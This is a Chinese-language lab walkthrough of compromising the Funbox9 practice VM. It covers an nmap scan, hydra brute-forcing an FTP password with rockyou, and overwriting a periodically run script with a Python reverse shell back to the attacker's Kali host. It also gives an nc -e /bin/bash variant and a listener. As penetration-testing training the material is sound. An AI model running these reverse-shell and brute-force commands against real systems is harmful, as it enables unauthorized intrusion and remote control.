通过nc获取靶机的反弹Shell [靶机实战]
1、环境
Kali:172.30.1.3/24
靶机(Funbox9):172.30.1.129/24
2、信息收集
通过nmap扫描此主机,我们需要获取到开放的端口以及服务的Banner
1 nmap -sV -T5 -A 172.30.1.129
通过扫描我们发现,目标主机开放着21端口,服务Banner是 vsftpd 2.3.4,并且允许匿名登录
我们尝试ftp匿名连接此主机:
根据其返回信息,我们发现了一个可能是一个本地用户的信息:sky用户,可以看到此用户是一个管理员
我们可以尝试对此用户进行ftp密码的爆破,看看能不能获取到其密码(可能无法成功):
1 hydra -l sky -P /usr/share/wordlists/rockyou.txt ftp://172.30.1.129
跑了一段时间后,这是最终的结果:
sky用户的密码为thebest;我们尝试连接:
登录后我们发现,sky并没有被困在 chroot中:
我们可以以此为突破点,搞一些别的事情,但这里我们试着通过nc建立一个反向shell
user.flag 文件 sky用户有着写与执行的权限
将此文件下载后发现,这是一个脚本文件,再进行推理,很可能是一个由系统周期运行的脚本
所以我们可以重写此脚本,然后上传
考虑到一般这种系统的安全防护做的很高,所以此时我们直接通过
nc -nv 172.30.1.3 -e /bin/bash
这种方法可能无法成功建立连接
于是我们使用以下方法来进行连接:
将此命令插入到脚本中,并且上传,这是一个通过python实现的反弹shell,更多方式大家可以去看这个网站:Online - Reverse Shell Generator (revshells.com)
export RHOST="172.30.1.3";export RPORT=25565;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
随后,我们在本地监听25565端口,等待连接:
1 nc -lvnp 25565
靶机成功运行此脚本,证明我们的推理是正确的:
最终,我们获取了 sarah 的shell
PS:
从渗透的角度来看,还可以通过 vsftpd 2.3.4 这个版本通过msf直接利用后门漏洞也是可以的